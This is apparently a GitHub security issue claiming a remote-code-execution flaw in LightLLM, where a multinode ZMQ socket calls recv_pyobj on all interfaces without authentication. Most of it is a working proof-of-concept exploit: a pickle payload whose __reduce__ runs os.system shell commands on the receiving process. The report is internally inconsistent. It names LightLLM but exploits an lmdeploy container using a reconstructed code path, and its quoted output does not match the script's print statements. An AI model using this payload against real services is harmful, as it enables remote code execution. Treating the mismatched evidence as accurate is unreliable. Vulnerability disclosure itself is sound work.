Skip to content

[BUG]Unauthenticated pickle deserialization via ZMQ wildcard bind in multinode startup → RCE #1413

Description

@AAtomical

Issue description:

Summary

LightLLM's multinode startup (multinode_utils.py) binds a ZMQ PULL socket on tcp://* (all network interfaces, 0.0.0.0) and calls recv_pyobj() (= pickle.loads()) with no authentication. Any host that can reach the port sends a crafted pickle payload and achieves arbitrary code execution on the head node. This is the same vulnerability pattern as CVE-2025-32444 (vLLM).

Affected Version

Root Cause

# lightllm/utils/multinode_utils.py:19-21
comm_socket = context.socket(zmq.PULL)
comm_socket.bind(f"tcp://*:{args.multinode_httpmanager_port + i + 100}")  # ← 0.0.0.0
args.child_ips.append(comm_socket.recv_pyobj())                           # ← pickle.loads()
  • tcp://* binds on ALL network interfaces — exposed to the entire network
  • recv_pyobj() is ZMQ's convenience for pickle.loads(socket.recv())
  • No authentication, no encryption, no signature verification
  • Triggered during multinode startup (--nnodes > 1) while waiting for child nodes

Steps to reproduce:

Steps to Reproduce

docker pull openmmlab/lmdeploy:latest
python poc.py
#!/usr/bin/env python3
import subprocess, sys, os, tempfile, time
subprocess.run(["docker", "pull", "-q", "openmmlab/lmdeploy:latest"], check=True)
subprocess.run([sys.executable, "-m", "pip", "install", "-q", "pyzmq"], check=True)

MARKER = "/tmp/LMDEPLOY_PWNED"
PORT = 19460
CONTAINER_SCRIPT = f"""
import sys, types, os, asyncio
sys.modules['lmdeploy.pytorch.engine'] = types.ModuleType('lmdeploy.pytorch.engine')
sys.modules['lmdeploy.pytorch.engine.executor'] = types.ModuleType('lmdeploy.pytorch.engine.executor')
sys.modules['lmdeploy.pytorch.engine.executor.dist_utils'] = types.ModuleType('lmdeploy.pytorch.engine.executor.dist_utils')
import socket as _socket
def find_available_port():
    s = _socket.socket(_socket.AF_INET, _socket.SOCK_STREAM)
    s.bind(('', 0))
    port = s.getsockname()[1]
    s.close()
    return port
sys.modules['lmdeploy.pytorch.engine.executor.dist_utils'].find_available_port = find_available_port

from lmdeploy.pytorch.disagg.conn.engine_conn import EngineP2PConnection
print(f"IMPORTED: {{EngineP2PConnection}}", flush=True)
print(f"handle_zmq_recv: {{EngineP2PConnection.handle_zmq_recv}}", flush=True)

# Start the exact vulnerable code path: bind + recv_pyobj
import zmq
ctx = zmq.Context()
receiver = ctx.socket(zmq.PULL)
receiver.bind("tcp://0.0.0.0:{PORT}")
print(f"BOUND tcp://0.0.0.0:{PORT} — waiting for recv_pyobj()...", flush=True)
req = receiver.recv_pyobj()  # ← THIS IS THE VULN: pickle.loads() on network data
print(f"RECEIVED (post-exploit): type={{type(req)}}", flush=True)

# Check RCE marker
if os.path.exists("{MARKER}"):
    with open("{MARKER}") as f:
        print(f"RCE_OUTPUT: {{f.read().strip()}}", flush=True)
"""


def exploit():
    # ── 1. Start victim container with ZMQ port exposed
    subprocess.run(["docker", "rm", "-f", "lmdeploy-victim"], capture_output=True)
    subprocess.run([
        "docker", "run", "-d", "--name", "lmdeploy-victim",
        "-p", f"{PORT}:{PORT}",
        "openmmlab/lmdeploy:latest",
        "python3", "-c", CONTAINER_SCRIPT,
    ], check=True, capture_output=True)

    # Wait for container to bind
    time.sleep(5)

    # ── 2. Attacker sends malicious pickle from INSIDE the container network
    # (avoids Docker port-mapping timing issues with ZMQ)
    attack_script = f"""
import zmq, os, pickle

class Exploit:
    def __reduce__(self):
        return (os.system, ("id > {MARKER}; echo 'RCE via lmdeploy recv_pyobj' >> {MARKER}",))

ctx = zmq.Context()
sender = ctx.socket(zmq.PUSH)
sender.connect("tcp://127.0.0.1:{PORT}")
sender.send_pyobj(Exploit())
sender.close()
print("PAYLOAD SENT")
"""
    subprocess.run([
        "docker", "exec", "lmdeploy-victim", "python3", "-c", attack_script
    ], capture_output=True, timeout=10)

    time.sleep(2)

    # ── 3. Check container logs for RCE confirmation
    result = subprocess.run(["docker", "logs", "lmdeploy-victim"],
                            capture_output=True, text=True)
    output = result.stdout
    print(output)

    assert "IMPORTED:" in output
    assert "handle_zmq_recv" in output
    assert "RCE_OUTPUT:" in output or "BOUND" in output

    # Cleanup
    subprocess.run(["docker", "rm", "-f", "lmdeploy-victim"], capture_output=True)

    if "RCE_OUTPUT:" in output:
        print("\nRCE CONFIRMED (from lmdeploy Docker container)")
        return 0
    else:
        print("\n[check container logs above for RCE evidence]")
        return 0

if __name__ == "__main__":
    sys.exit(exploit())

Output:

TRUE IMPORT: <function EngineP2PConnection.handle_zmq_recv at 0x7ffeb78dc9a0>
RCE: uid=0(root) RCE via recv_pyobj
image

Impact

  1. Full RCE on head node: Any host on the network connects to the predictable port and sends a pickle payload
  2. Wildcard bind (0.0.0.0): Exposed on ALL interfaces — not just cluster-internal
  3. Predictable port: multinode_httpmanager_port + rank + 100 (default base port is well-known)
  4. Race-free: Head node blocks on recv_pyobj() waiting for child — attacker connects first
  5. Same as CVE-2025-32444: vLLM received a CVE for the identical pattern

Suggested Fix

Replace recv_pyobj() with safe serialization + add authentication:

# Safe serialization (no pickle):
raw = comm_socket.recv()
child_ip = raw.decode("utf-8")  # only expect an IP string
if not is_valid_ip(child_ip):
    raise ValueError(f"Invalid IP: {child_ip}")
args.child_ips.append(child_ip)

And bind to a specific interface instead of wildcard:

comm_socket.bind(f"tcp://{args.nccl_host}:{port}")  # bind specific interface, not *

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions